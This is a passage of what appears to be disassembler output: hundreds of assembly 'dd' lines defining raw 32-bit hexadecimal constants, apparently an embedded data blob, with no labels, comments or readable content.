		dd 2FE2A700h, 0A0B8FE6Ch, 0E40C93FCh, 0E120509Ah, 18F6300Bh
		dd 9F16F39Eh, 1C065E02h, 891BC8Eh, 89350EF7h, 0C60858A6h
		dd 0E22414ADh, 18C89333h, 0F060D690h, 42027DF2h, 5BEF782Ch
		dd 0F8F048E2h, 37C03D3h, 0BDCDF315h, 0FFD442A8h, 4890FA60h
		dd 35E2A49Ah, 880114Bh,	33C76E58h, 273BAD71h, 9221E619h
		dd 0BECCFE1Bh, 650E3D73h, 0D379CA33h, 0CBE927B0h, 3B286D52h
		dd 3B788830h, 41ABC42Fh, 26FE1801h, 180A0FFCh, 0DA4AB51Ch
		dd 2A58BDDAh, 89961068h, 86A3CA05h, 348828C0h, 0EFBB880Dh
		dd 0E5CCE0DAh, 4262016Ch, 0E22EC045h, 3B805843h, 364C9614h
		dd 84A32BB8h, 0AC515CA1h, 71FFA18h, 1280426Ah, 0AED94AC2h
		dd 0E0380E60h, 48504E3Fh, 7D5B03C8h, 763B5066h,	0D650378h
		dd 0E23DC7B4h, 0B83F3F0h, 540BAD79h, 2190260Ch,	990EBCE0h
		dd 5147F09Ch, 0FD4B1CBEh, 0A39B520Fh, 0E97BE2h,	504ADCD8h
		dd 0BCA51932h, 38B70632h, 444867AAh, 8BD960ABh,	6FCE1807h
		dd 916EF4EBh, 5B7E50C0h, 7A3054EFh, 6FE832C0h, 0B09841D0h
		dd 38206647h, 0EB8F0899h, 550106D7h, 525F489Bh,	0AC792100h
		dd 0C8AF3901h, 58E8EE35h, 5DD27820h, 9CECD0C3h,	60DCBD04h
		dd 108C1D41h, 7F4C0F25h, 19A4E5AEh, 0C8788BE9h,	28DC2B8h
		dd 0E2F340D5h, 0C05EE6C6h, 29419879h, 0DD2BF504h, 0EC2884EEh
		dd 0A63A020h, 0F7D3EAA5h, 1B275090h, 616B821h, 79BCDF32h
		dd 404D3B7Bh, 1028480Ch, 0C50AEB63h, 40705A8Ch,	0DA410C24h
		dd 64F8A909h, 1F380148h, 6EC95EC8h, 0F853D04Ah,	0E530AFA2h
		dd 29C22C8Ah, 4A758000h, 9B9C14DCh, 0C89868A4h,	0F8457B01h
		dd 0EFCCAA7Eh, 8C1B6460h, 0D788EA04h, 5867FEDEh, 88029680h
		dd 3EFCA22h, 0C5F7BFD4h, 87DDB67Bh, 32CEA308h, 3BA27EF8h
		dd 37786619h, 9047E878h, 2BFD07F8h, 44A4AA32h, 3D548349h
		dd 0CD8A12Ah, 5FF49610h, 517DDF0Fh, 53E0EF00h, 3852046Eh
		dd 0F75B849Ch, 684874D0h, 0FC6100F5h, 2FB1D847h, 0C8002AE7h
		dd 0BEFB8A33h, 49E8AF8Bh, 6586E0F5h, 52507949h,	5490B38Ch
		dd 0C8AEF231h, 0C4016CF0h, 0C4CCFA55h, 2E817B04h, 996289A8h
		dd 81B3E02Fh, 1097393h,	1BED4A64h, 368FFD4Dh, 0A6540090h
		dd 768DB0Dh, 0DC5118EDh
		dd 133E41A7h, 67A9D301h, 8C460C55h, 8C02309Dh, 57B8AC07h
		dd 3ABA2F13h, 10E94828h, 1B2B2647h, 11CABC8h, 60835518h
		dd 0A4C1AAA4h, 2A09E010h, 0FAC06891h, 3719C2B4h, 30093B8Ah
		dd 44A9D58h, 9B593943h,	5770C164h, 8E3B00F6h, 0CC5152C4h
		dd 0E8119494h, 81A0F62h, 0B4703216h, 22B7EB9Dh,	0A81A5DF1h
		dd 0A4116FD2h, 31044724h, 0C91088DDh, 62448E12h, 13028h
		dd 0E02FA62Bh, 44853343h, 66488F15h, 2A8800A8h,	1B73A4AAh
		dd 0D60B003Ah, 8A4F814Bh, 424D8E01h, 6D5CC510h,	0E676448Ah
		dd 4119C250h, 80E0DD27h, 0A0A03CD7h, 0FF81AB16h, 7400C862h
		dd 597877D9h, 8700864Eh, 73ECDCBCh, 9694FC6h, 6335B7A9h
		dd 71260831h, 34144020h, 4201DB7Fh, 7649EBCDh, 78877144h
		dd 0CA8814C8h, 0DBA16558h, 0C0B7881Ch, 0EC438001h, 3066A91Dh
		dd 0C298FA04h, 0F304E4h, 1FF4ACD4h, 0EA02DD43h,	1EF6D7F2h
		dd 0D533FE00h, 9FD275B1h, 0B0FF3003h, 5C616A59h, 0F20099ECh
		dd 0A0A9B4EAh, 88A870h,	0B7CD69DDh, 8354E081h, 27BCD301h
		dd 85CEB18Bh, 9418FC43h, 0C22CBF00h, 642C7678h,	7A62D47Ch
		dd 58987380h, 0D5008459h, 0AB419CDDh, 28F2A83Fh, 0EAA4D9F3h
		dd 76DF0118h, 0B0C60F8h, 77E840BEh, 433C47DAh, 12CCBF11h
		dd 0B442A3A2h, 19FC217h, 8063A9DCh, 5773D769h, 938B3155h
		dd 34B032CCh, 1188F530h, 88D6DEE2h, 0ED9D8074h,	46124088h
		dd 6EA4620Ch, 1CD648BBh, 6E0CF06Bh, 55C50434h, 754CD8EDh
		dd 0A82C8108h, 4092C4D9h, 3A81AD69h, 6D6301A8h,	71DEDBA4h
		dd 832020B9h, 0B84C850h, 7C0C9B09h, 0A100B0D1h,	0B4995Ah
		dd 4E347454h, 0F400D049h, 5EF01DF9h, 1C0EEEh, 0D320CA5Bh
		dd 0BCDC0455h, 65D16060h, 0ED5CC15h, 0B9211D7Dh, 8097E9EBh
		dd 0BD8FAE91h, 234EB180h, 389BE316h, 946C1801h,	0BC58A2EDh
		dd 784C58D4h, 0F9C01888h, 4BDED688h, 0A1DC2CF6h, 0BE88F103h
		dd 99D1C7A2h, 98756BF2h, 68545041h, 71153100h, 70F44B01h
		dd 5625C5A3h, 9EB167CCh, 1AA50264h, 30E4D9E0h, 5C594C73h
		dd 3F12328h, 0A8308179h, 209362A4h, 0D681B17Dh,	0E8008BEEh
		dd 0DBFBC60Eh, 1E842FD4h, 0C5C99849h, 80C51B4Bh, 67E476A0h
		dd 10681F83h, 3B3E3AA7h, 41D0444Eh, 0F150A4F4h,	0CEABE80Ah
		dd 0B018988Eh, 804A14E0h, 0D2664DEh, 4708F88Bh,	0F316C9h
		dd 61557F90h, 0C2754E5h, 0E8F0006Eh, 83C1AEA3h,	0B4522CFAh
		dd 0BCA6DC29h, 0BAD38400h, 2E497EB4h, 40D8488Bh, 263AACD7h
		dd 900CEF02h, 0A0E81ABEh, 285652B8h, 0C4B0B4E1h, 15A6006Eh
		dd 0A22A9A0Bh, 0F2C44094h, 37EB80A7h, 20B454FEh, 2050BCDBh
		dd 185597E1h, 8899C3h, 6B1389DAh, 0BF008B76h, 0F9D438BCh
		dd 2DBF30Fh, 64E235E4h,	9848E649h, 272EC045h, 7724AF6Ah
		dd 4A959C02h, 0D1F07149h, 0FDF1894h, 0E29312DEh, 9647FB21h
		dd 1EC50D4h, 532C3F7Fh,	0D4CE2C32h, 7A4A00CEh, 0D4137E07h
		dd 14F048E7h, 225D0412h, 706C8564h, 0BCC8FF24h,	12AF03B8h
		dd 80DCA098h, 0B3949154h, 315A1F38h, 87C39CE9h,	0E3E5B1E4h
		dd 67412380h, 6DFE8Ch, 2CCB18ACh, 4232FC6Fh, 8E482706h
		dd 0D803ADCh, 0DF3E656Eh, 32A3ED49h, 475A7CA8h,	53BCF020h
		dd 0F8B4908Fh, 0B0E7523Dh, 28ABF501h, 0A8F23FA4h, 0D3048C39h
		dd 0BA1750D7h, 0C5E1C90h, 441D654h, 169E3E94h, 0CE8888h
		dd 0C58710Fh, 78B9025Fh, 60DCB602h, 0E0EC7937h,	0B9BA5AA0h
		dd 284821A8h, 0F6B20F6Ch, 3B4741F0h, 0A066B364h, 0DCFC5945h
		dd 5B487D33h, 0BA8B0Ch,	0E0458E78h, 0A13C121Ch,	0D038128Ch
		dd 0B6AC60DCh, 8028349Eh, 15408622h, 8CDAE331h,	6C23F84Ch
		dd 0AF13F73Fh, 14CB373Bh, 0FE190070h, 0E0768C5Dh, 8E25A80Eh
		dd 0BDD800D4h, 4816891Ah, 0DC1CBC49h, 12A8EABBh, 4176173Fh
		dd 46A3E028h, 4E4C41C1h, 44E20899h, 962FBBB6h, 25C800D0h
		dd 80FC87F3h, 245D667Dh, 1E969E0h, 0F433F294h, 0ED5FDC01h
		dd 0F7F06289h, 0CC1BC058h, 18022899h, 50BFF43Ch, 0A69061E8h
		dd 0EC38C431h, 3B884C09h, 3C48380Eh, 0D3E84A00h, 7A9CF745h
		dd 9D42351Dh, 593031D1h, 35F43029h, 52665B86h, 41749838h
		dd 5A30B4F8h, 0E0EB41C8h, 62F51F20h, 4ABE83CBh,	0F2A3427Bh
		dd 0D9252102h, 60856320h, 1CB2A707h, 0C9F9E3C7h, 0B8C5895Ah
		dd 0A96070C4h, 762638FBh, 6202ADD4h, 53AA5314h,	0DB190050h
		dd 611EF6E3h, 0BD15283Ch, 0EC9080D3h, 0A7EEDF0Bh, 30AC4F59h
		dd 30A2D67Ch, 0E021444Ah, 79806B47h, 0C485F416h, 69FAB9D7h
		dd 24134F5Ch, 88209429h, 0D509B146h, 4E08F620h,	40F3C488h
		dd 0E216E08h, 9F650346h, 0A2A40282h, 0BE7EC108h, 86024CAh
		dd 0A30237C4h, 80E877BAh, 13CAEDC0h, 28E49A3Bh,	79E0F1B0h
		dd 1804B85Ch, 69E53C64h, 38BEBADCh, 9AAE3F41h, 482BE88Bh
		dd 0E4955C90h, 24DCE600h, 0F0931EFFh, 9A5E73BBh, 0A5DF005Ch
		dd 0DC8F8AD3h, 8C98374Bh, 48FB7012h, 67A824C1h,	20D46E00h
		dd 0C2201898h, 0AEA8A09Dh, 631B8199h, 3096A204h, 8F0BAB44h
		dd 427F795h, 0A4B1F358h, 0E44BEC42h, 2CF05200h,	3181B002h
		dd 9731B1A8h, 81E87C13h, 87293DCh, 0E0124EFEh, 5CA1060Fh
		dd 448E4820h, 0FECB7EBDh, 400C92EAh, 0A8D5C644h, 0A3C1809Ch
		dd 4387A7FCh, 904B1448h, 41F13h, 18CC0230h, 489CAB17h
		dd 0D38F968Fh, 0BDA3C9Ch, 7DC6E164h, 0D8025032h, 130B75D2h
		dd 51207AF0h, 3C48B0A2h, 0D3048CB3h, 0C362F420h, 2620EF62h
		dd 489B216Ch, 0CE004C1Ch, 5804D7EEh, 6CFFAC62h,	0CF44870h
		dd 0F066F39Ch, 0BCFD4CD8h, 7BFE2DC0h, 4CB6573Bh, 135FC58h
		dd 668F6EFEh, 648A2674h, 48544170h, 0F32AE290h,	5529B0EEh
		dd 0C832880Ch, 20D730A7h, 6362F808h, 40F16442h,	4F21700Ah
		dd 4D110543h, 0C3203777h, 1294AEC8h, 0EF23503Ah, 365E2C00h
		dd 3EB8BBEDh, 0CF096D7Eh, 4C906547h, 0F0E25DB3h, 910E9500h
		dd 4702A4E1h, 40454C7Bh, 0DC23310h, 0F1985BB0h,	0F8048C60h
		dd 1AA73DE3h, 554000CBh, 5C460C96h, 71254B6h, 0BF183040h
		dd 90A7C7D9h, 0AFFB221Ch, 0A1321714h, 0B42F4A6Ch, 0AB007023h
		dd 77725F8Eh, 7A65065Eh, 50F8A818h, 0D4BAD67Ah,	82C1D303h
		dd 261E6746h, 60245B10h, 649E2699h, 6544D648h, 0B067A638h
		dd 623120C7h, 0F50C427Bh, 26F0B88h, 0D0A4F921h,	1848C2FEh
		dd 0E903EA89h, 262967FBh, 704DA846h, 63593C45h,	1723C40Ch
		dd 5E7C4988h, 58493C4Fh, 1840A00Bh, 1F40509h, 564C1B01h
		dd 28978A2Ch, 63BA11C8h, 0FA2FDF06h, 48011828h,	66C25637h
		dd 0CC64574Eh, 25F89824h, 5CA4090Dh, 81AE6002h,	0A1A82333h
		dd 7E052A11h, 81E081A6h, 3DE1DFF0h, 3B264CF4h, 806E1263h
		dd 0DC060447h, 0C1E43111h, 0D6D28050h, 980B05Dh, 0A3DEA462h
		dd 60B7A4CAh, 0F09D7D80h, 18DA1CDEh, 48A15AE0h,	0CB454465h
		dd 47E91082h, 28443B22h, 0D8C4D0A2h, 0AC0F9102h, 98A454D2h
		dd 3CC4D3B4h, 0F4CCB786h, 52924064h, 2B187066h,	9DB4932Ah
		dd 0A4A62082h, 5F770B00h, 5510BA43h, 0DEFA1DEAh, 992203FCh
		dd 0FC8F260h, 0C98858Ah, 1EF49C80h, 2FFCF850h, 0B000B441h
		dd 4C37F2A6h, 3183CCDBh, 901082CDh, 0D700C2EFh,	7C60E388h
		dd 0BC4C62ABh, 0C580899Ch, 606EC494h, 5F79709Ch, 705BB853h
		dd 9BBAA413h, 687ED422h, 2801DC64h, 0FDAC0334h,	8F30E059h
		dd 6B6224F9h, 40F0C490h
		dd 54216D09h, 86A61DC2h, 91390EA8h, 43807622h, 28A08CD0h
		dd 15000FC7h, 8BC16208h, 13DEE7E8h, 4AF64760h, 0BDC2A7Ch
		dd 1CC1EA1Bh, 516D10DBh, 27BC0083h, 0CAD7BEA5h,	726DC23h
		dd 80017A0Dh, 5F1CC01Bh, 4A65D9D4h, 3F5805E8h, 15B030D8h
		dd 402D4155h, 0D754A0FFh, 1D32D402h, 524277E2h,	8B18570Fh
		dd 0C0B7C8FCh, 8141E568h, 4BE1F200h, 0C2351321h, 209227h
		dd 516519E2h, 5EB3E850h, 0BC1AA60Bh, 0F00890E5h, 0F38F8060h
		dd 9C44C75Eh, 4A009875h, 35861E50h, 12E8C106h, 592EC2h
		dd 224F7962h, 0A2B12BA8h, 0DC10D83Fh, 0BB1B124Ch, 98A22CE2h
		dd 80E47018h, 0AC2E663Bh, 7F42DC4Ah, 0DB4C5EAEh, 0E12050CCh
		dd 0C518B10Eh, 7FF29412h, 7600646Eh, 0BAD60F5Dh, 1BE6D275h
		dd 0C4BBFF2Ah, 0FAAA7000h, 0A62A7935h, 667A1215h, 0A44084C8h
		dd 0C8B4C404h, 1F94465Ch, 5440A6CFh, 681CBEC9h,	4C92DEh
		dd 9DF4C466h, 116C80E7h, 0B54A2E00h, 7F330330h,	2C5BFE0Ah
		dd 17985225h, 6C589D62h, 0BF2F78A8h, 30BC2206h,	6EE46151h
		dd 409DCC20h, 0C7601B8Ch, 2C54BE91h, 9B4BE6h, 0C892FEF4h
		dd 1A2FBCA4h, 983C889Dh, 0B06E7E81h, 405E1628h,	5DFFCB08h
		dd 0BF42E188h, 812C24CBh, 0B34F4Ch, 0FA571269h,	5E6A04E9h
		dd 0A8F66BCh, 0E028F0A6h, 5004C34Eh, 96C048DCh,	0F8E9E1CFh
		dd 5514BAA3h, 7C45D853h, 0EF9B20E4h, 4A0019BBh,	7D5FCDE6h
		dd 3A525866h, 0C46A97E0h, 0D68C9901h, 2D47A522h, 8E391Ch
		dd 0CDED1C7Ch, 5AAD66h,	4EF69A12h, 1ABF2CDEh, 48FAB313h
		dd 4FBAB481h, 0A2156510h, 0C462BE4Eh, 3A8011BAh, 7323402Eh
		dd 155FA500h, 3C1F3587h, 0F38A1B08h, 398F9A7h, 6CACC2F8h
		dd 6987303Eh, 22DCD298h, 65175890h, 0DC21703Fh,	0C711FA6h
		dd 0F0047D5h, 48B00265h, 0F4271604h, 90A256C4h,	5F30AEF2h
		dd 0B08E123Bh, 4960D343h, 4573E4C1h, 0E6F00908h, 9DA25402h
		dd 0BC454B01h, 0CC2B0C30h, 3ED14691h, 0C58BD0Fh, 0CCD980ABh
		dd 2C77598h, 0A1C6D04Fh, 5C54E85Eh, 557FD405h, 0C54B080h
		dd 0C28F40F7h, 66F42254h, 21790200h, 0DEFE58E7h, 9092F296h
		dd 52DB205Ch, 1432F7h, 1F77E083h, 320C620Dh, 7520C707h
		dd 439C8040h, 9012A480h, 0D0314434h, 0AC79E400h, 0A9B3EBCh
		dd 0E5BE1E05h, 0DCFDC06Ah, 0F536B291h, 0C3D370C4h, 407C98B4h
		dd 0C35029Ch, 0EC04190Bh, 2B0B9BF9h, 445F0485h,	0C961C5F4h
		dd 2900CECh, 0B7BDA900h, 0EA17653Bh, 0D8360118h, 2AF88420h
		dd 0A208736Fh, 9EA03070h, 62947B00h, 0F8CC2FACh, 49F5AC4h
		dd 41E546DCh, 5302A460h, 12101879h, 0F4257CA0h,	2054649Eh
		dd 30A1305Ah, 0A7E8D4FEh, 2C9C1A26h, 0AC201F65h, 0C0E36828h
		dd 45CAA561h, 9201C1AFh, 321B76A8h, 0D450BFECh,	0FFE210Bh
		dd 3560E5C5h, 40A80C0Ah, 0A6F2A462h, 0F4E04CACh, 18BE6E21h
		dd 90343188h, 2C301B2Eh, 4219EB8Fh, 602C84E8h, 8806D558h
		dd 0F7091392h, 0A16C76BFh, 0C5FF6E98h, 959E9180h, 0D3371FD7h
		dd 0E87C105h, 4C245E60h, 0F2F268B2h, 7FF09530h,	2AF93268h
		dd 0B86C8898h, 0E599CF04h, 0A08151EDh, 830442F6h, 0B939D0E4h
		dd 30D0CBC5h, 9563BAA7h, 0F002FC84h, 5581C308h,	3ED65450h
		dd 0EA8B2EF4h, 0D8D94490h, 0FE092C04h, 794F3B74h, 34FD606Ch
		dd 1A4E85FEh, 4C8CD893h, 0EA100859h, 90B42D9Fh,	0E26BE9A4h
		dd 0E2A21FC8h, 5848D4A5h, 57F33F08h, 0F10A1CA4h, 608F5454h
		dd 0C6F014E6h, 3924C3h,	0D336BB2h, 8364EFC0h, 63D70E01h
		dd 0A677016Ah, 67E20860h, 0E70F59FBh, 499385B0h, 58849198h
		dd 0E9310372h, 5AD924C4h, 0D422407Ch, 0CF0191D2h, 31F8A6D1h
		dd 92FA656Fh, 2CB041ECh, 9012AC60h, 401D976Ch, 0B8809211h
		dd 25B7D967h, 66CFE507h, 9E42C962h, 870C615Bh, 9594D514h
		dd 88608E64h, 0D401C095h, 0EF7D892Dh, 0BCE69050h, 0D1D4D055h
		dd 63132051h, 6F45D490h, 183464D9h, 0C1C500CCh,	8C026D10h
		dd 31057C63h, 25D441CAh, 9A48A842h, 96284642h, 0BF8840BCh
		dd 26F8F09Bh, 9445C890h, 5DC8602Ah, 0BE319B4Ah,	0C706989Dh
		dd 0DC83246Dh, 0C1DA524Ah, 622C3060h, 0E2180098h, 0A98005FDh
		dd 52145F5Eh, 21883A54h, 24608072h, 83BF49C7h, 1D57B800h
		dd 363C0B3Dh, 7A3E801h,	34326A9Dh, 119C9063h, 0B70FB4A9h
		dd 43DF7231h, 749BCEh, 0ED5EA338h, 0B7948C60h, 151EC000h
		dd 0DBD527B0h, 0AA0D033Bh, 0A3C64073h, 9F6681Fh, 46893880h
		dd 30C77801h, 0EC496E3Eh, 0D100151Ch, 66D7CBA2h, 661A9E4h
		dd 44C783B9h, 2203A9B8h, 7162CE7Fh, 7386FCCCh, 66460E18h
		dd 1874BAD5h, 1906EF22h, 0A0601384h, 1AC33E11h,	183AFB87h
		dd 0C02273A4h, 21CD0831h, 0EFD4B2E0h, 0C7AB1F1Ch, 7CFF801Ah
		dd 0CB8DEE8Eh, 30B4573Ch, 4B83B0D7h, 0DB6A284Dh, 649C8088h
		dd 57E280A1h, 0C48BF218h, 0F09829h, 0C411D60h, 4397FDFh
		dd 219C08CCh, 2C084CF9h, 78F4B000h, 479DD8ABh, 0B461AC15h
		dd 6D2079Ch, 0E7E03C43h, 78DFC8D3h, 811600C9h, 456FC1Eh
		dd 0A90DAF86h, 0C872AD60h, 0E1542A85h, 18A81FB3h, 0E938E1B2h
		dd 80B61800h, 74454D6Ah, 0CE6600E1h, 2991051Dh,	6130B44Fh
		dd 395179C2h, 0C7850133h, 344E948h, 0ED8440DDh,	6030B1A3h
		dd 9B729C3h, 41120043h,	0D8C4E00Fh, 0AFE8DFFFh,	0F10521C0h
		dd 19CB42h, 1DF39149h, 0A43AB956h, 22FB76ECh, 0AA4E1410h
		dd 0A19508B8h, 41CE44A2h, 0E2B244B9h, 0A240ED08h, 734E08E6h
		dd 11B6C78Dh, 0DCF220B0h, 0DE9F1D06h, 3170FBD1h, 25405E77h
		dd 0E03200A3h, 1FFF81Bh, 0B8863807h, 82D60231h,	0D5013A68h
		dd 439880C2h, 18EAB384h, 0A0D7554Ch, 6D0D634Eh,	10BB197Dh
		dd 0A50D4441h, 20C0F510h, 0B14D3918h, 0D3B840h,	4F13B3CAh
		dd 0BF933C63h, 4541B0C1h, 0D980C94Eh, 9E798559h, 7307B76Ah
		dd 1D431C08h, 220DDC6h,	7CF0FA3h, 209C3BF0h, 7E3423h, 3738E275h
		dd 0D270184Bh, 90A68531h, 221D39h, 0E5121405h, 49B804F8h
		dd 6E420558h, 0A150941Eh, 3E4D080Eh, 0CC049F09h, 5E2081B3h
		dd 86F300CFh, 0D5F92A56h, 687F3C84h, 0D892418Ch, 0B00FF98h
		dd 5E40B007h, 52FE11B7h, 711BE4D4h, 88E0909Eh, 4E539C38h
		dd 4994022Ch, 0A2A5373Eh, 22CDFC3Ch, 18467D02h,	206C2F33h
		dd 98411916h, 100D106Eh, 4944E8F3h, 7020C25h, 0A9D95DA4h
		dd 0C7B4F098h, 98BD4E24h, 0D8C63945h, 0E1D73C20h, 15429F03h
		dd 0C06269D2h, 0AA8B140h, 8C0D08FCh, 2660F961h,	0FC581D61h
		dd 0F20688D6h, 2DB86002h, 686D9B01h, 2495684h, 4C925B73h
		dd 0A0A36635h, 8AA03D0Ah, 0A5242613h, 0C4A8985Ah, 4021E46h
		dd 2740D743h, 210BB31h,	0DE03430Ch, 10990363h, 84CEB852h
		dd 0F1BA606Dh, 256EF858h, 0E700DDB8h, 7003014Dh, 4902B4C1h
		dd 0E8640C3Ah, 60FA600Ch, 0DC412327h, 0FF20D011h, 9A006C76h
		dd 0D8E6187Ch, 96BFD84h, 9C9D3E7Fh, 8035980Fh, 39C98B18h
		dd 1C00BF25h, 0A78FAD77h, 158DDC5h, 729FF096h, 30429EDAh
		dd 90A18524h, 0C7F82004h, 0B1F95099h, 38021018h, 0D94CECDBh
		dd 89F04BCCh, 0A08CA349h, 4B99B68Ch, 11EC8F48h,	0CA0CC5A9h
		dd 0EAC1DA3Fh, 0E0B1543Bh, 0D63E4C40h, 0F85C90A6h, 0CAED267Ch
		dd 9B491C8h, 66FEB1Dh, 8297470h, 0C0D534ECh, 0C318401Fh
		dd 3CF94619h, 84C9462h,	0C81D211h, 0C9AA4576h, 59BC605Fh
		dd 8AD98E22h
		dd 7B04AE90h, 0D7336CC7h, 0B52A50C0h, 43D98361h, 4031A9C9h
		dd 7F5989h, 35410CA8h, 686F604Ah, 0C7818D09h, 5C10E680h
		dd 9D2E22BCh, 2094A020h, 0EA51B5E5h, 0C9F5D4D9h, 11D010D4h
		dd 2E13DEEDh, 0D168286Dh, 10380D83h, 20886B8Fh,	0AD4055BCh
		dd 7E3D124Dh, 0A4E00199h, 32EFDB2Fh, 21CC88ACh,	9A6FE220h
		dd 45201033h, 10E44CA2h, 3802E35Eh, 4A3D4144h, 8CC0A86Ah
		dd 1B28AC2Bh, 0A302F4C7h, 0DB56390Dh, 0B484406Eh, 3CC35803h
		dd 0B80AABC0h, 0A10494D8h, 87196961h, 0A4B2E982h, 0A840B5FCh
		dd 69B3A102h, 23225E00h, 85C32D37h, 194BF4FBh, 806E521Dh
		dd 0CA6B213Eh, 3A384864h, 90BCA039h, 0E07C4DFCh, 8237458h
		dd 0F0441B1Dh, 0CE62C03Ah, 0A9B3E323h, 0B0A85C09h, 4DE23A98h
		dd 1067E04Dh, 9CD96C8Bh, 233B81F2h, 10A507E8h, 40E30337h
		dd 3FB0D93Ch, 0ECC8E860h, 2F80C08h, 2340D727h, 1A454B0Ah
		dd 938CACDFh, 104119DAh, 0D4DE0E1Dh, 9F611094h,	0C5477609h
		dd 11A6820h, 0EE325120h, 2AC218F3h, 0D1E90838h,	58EB7C05h
		dd 0CA88F4CEh, 0A8E33DC0h, 0B46B0AD8h, 2304E76h, 0D6B93640h
		dd 0E0BA5102h, 497D6A35h, 0A83ECC89h, 20D58199h, 0D826CB09h
		dd 5C4381Dh, 2F40B4C1h,	0BE223836h, 430D0100h, 209A4031h
		dd 4C02727Bh, 4E24DCEFh, 3E344A9Ch, 0D944F785h,	0A1FC0407h
		dd 0DFD702B4h, 0A2C742A4h, 9C41574h, 442C0C14h,	467E140Eh
		dd 0E9DC1EBEh, 487B55C0h, 0B8091267h, 0B8337524h, 0A6E02004h
		dd 135CC09h, 0DC7024BFh, 0D3699B44h, 0F7D04A28h, 22B893DEh
		dd 4CA50104h, 0D8C30972h, 0F603E45Eh, 2DE2EB03h, 46CE9068h
		dd 84A07976h, 80A0D724h, 0BD40F4E9h, 1088E308h,	1202B0C0h
		dd 0E82F6E5Bh, 18B80910h, 817F9BF6h, 861DDBE3h,	9C3BED08h
		dd 0A45D04BFh, 0C2217018h, 30871313h, 2E040F28h, 33EC2196h
		dd 84B4A4A5h, 31E23A09h, 9A11CDC8h, 0D949806Ah,	0DE86F14Bh
		dd 73F07125h, 0F9603041h, 427C3829h, 0D8784524h, 0BCD8C0B1h
		dd 1888405h, 4B0E030Ch,	1C82853h, 0B7255198h, 9985FA31h
		dd 4F04F138h, 0D8156084h, 1823A800h, 4B43889Fh,	0FD7DB002h
		dd 496154ECh, 5C42F0E8h, 353821A1h, 1C67E6E2h, 2761CD44h
		dd 4E306054h, 4CE99306h, 5868C4A5h, 0E6B28CF8h,	2C8A0321h
		dd 94A4F870h, 148C3928h, 3AD86BBAh, 0B95D5110h,	289B6111h
		dd 0A74CEFE1h, 0A67A1410h, 0C00788F0h, 0ED0B8710h, 60A40321h
		dd 168708C3h, 98617329h, 0D698000h, 407D14h, 5694A9D4h
		dd 0F2047247h, 0A708B702h, 40AC814Eh, 49368640h, 963B5483h
		dd 19B39D18h, 0CA881B56h, 0A6649C3Ah, 0CF4908F4h, 77634401h
		dd 6840C145h, 184C7B38h, 0F973B64Dh, 88AA8B01h,	0E3EE4082h
		dd 0E600CC08h, 0E1F6791Ah, 7691757h, 905419EFh,	248C158Fh
		dd 0E5330059h, 28C00F2Dh, 5500F57Eh, 0DCFE42FDh, 0B1664B6Eh
		dd 13B832D0h, 0A93E5820h, 2718DCC3h, 4E85C804h,	4C31927Bh
		dd 1980679Ah, 256DEF86h, 0A004F5E8h, 84CB38E3h,	0B5019881h
		dd 0F3108429h, 60EFC08Bh, 8C04411Ch, 0F8D444h, 0D7ED6007h
		dd 9EA536C0h, 451CFC92h, 0C61AB418h, 0B6884029h, 0DBC028F2h
		dd 16C49890h, 0CC70597h, 6CA104D0h, 597D453Dh, 18A02464h
		dd 0DD83F411h, 0EBF30686h, 80B837BCh, 9C8715C0h, 0F80536B1h
		dd 957D84F0h, 9B7360D7h, 4B290073h, 0AD614E87h,	10FE310h
		dd 207FB78Dh, 0DD81A7Ch, 0F8DE301Ch, 257E38A8h,	602AB4B0h
		dd 1A03D8BEh, 0AE2BF702h, 4351390Ch, 6CA21C09h,	33D40A3h
		dd 130414BCh, 404429Bh,	0C01EDC62h, 0DBF4817Bh,	44B87002h
		dd 0C44138E0h, 78A744Ch, 2A1F4892h, 9567E0CFh, 46128769h
		dd 0D329h, 255F7CD8h, 8CA015FAh, 100B4CCh, 8ABC9054h, 2201ADFDh
		dd 348EA9Ah, 3982157Dh,	16FFB4C5h, 4B240850h, 0FB1DEC80h
		dd 48408C9h, 0FE60F000h, 41251B60h, 8496FCh, 8A60F703h
		dd 34A43B4Bh, 465E3096h, 92D502D1h, 0C0D3C631h,	1F63E25h
		dd 0ECA3FE9Dh, 28D62D44h, 877001E8h, 0DE36C789h, 5491BC55h
		dd 9B01E23Eh, 0AE19806Ch, 5CBDE6EAh, 98E1051Bh,	0CC60D926h
		dd 42040EC4h, 4BE52C27h, 0D5E95481h, 48B56111h,	677C25C0h
		dd 50B45A01h, 0FEC0186Dh, 254745CCh, 64023A59h,	0D420A4E1h
		dd 277D02BAh, 6820CA49h, 38F708DDh, 70304412h, 3E40F080h
		dd 8509AF1h, 86851CE8h,	1B705A01h, 0E9F44710h, 8320C1D0h
		dd 0CAF3B2F4h, 1423209Eh, 3FAD3A89h, 617CCC10h,	1858A040h
		dd 38D30D46h, 0F1CFBF8Ch, 4D422179h, 0A88B3992h, 40839AE0h
		dd 5DA9D8B8h, 406471ECh, 356CCAC4h, 0B92A7700h,	0A3EE0344h
		dd 5B8F0004h, 4F0F98BCh, 989483AAh, 0B35C044Bh,	10430B60h
		dd 0DFFF4110h, 9780BCC8h, 43E842F3h, 6FE3019Ch,	7E7C528Eh
		dd 849C6093h, 2C21AA41h, 4AE0E9E0h, 0B4A470A0h,	72FB8F3Eh
		dd 649A2EB0h, 0D6067040h, 0DBBF0E17h, 2C970D91h, 0C08AB3B8h
		dd 81BF79E4h, 38A4F1E8h, 6CB87C4Ch, 0B84CC441h,	0A945164Dh
		dd 59C490CDh, 0B41140ABh, 6404CC60h, 0C251EFFCh, 72605ED0h
		dd 64F5E3B5h, 5A5DDB28h, 0C3F5C880h, 0EDD88712h, 4486A413h
		dd 0A12C1DEh, 8D020787h, 0C683AB02h, 8058916Ch,	0D9AD92DBh
		dd 620C5105h, 712B3E4Dh, 0E4998Ch, 9AC6A9A7h, 9100F936h
		dd 0B7C89438h, 0A639BDh, 0CDAA5977h, 0C9452F6Bh, 6B70C349h
		dd 0A0B7E1h, 0CC576412h, 38285877h, 589AC817h, 0A522C884h
		dd 654610A2h, 94F45DC2h, 0D4972968h, 2DB2108h, 0A5B536A0h
		dd 0EEBCB300h, 0B4EC48A2h, 6EC0CE3Ah, 761A80A4h, 0A051C741h
		dd 1E1CC170h, 0BE2494E2h, 3902A1A0h, 429A4D73h,	8BF061B8h
		dd 0F0760C43h, 0B304972Fh, 5AE004A4h, 8CA484A2h, 3D0F5E3Ch
		dd 951F4Ch, 0C94EA910h,	19A8C9D2h, 9E444816h, 2D66104Eh
		dd 0CA2A4B9h, 0D630B4F2h, 9F220066h, 277B3EB9h,	21CFB661h
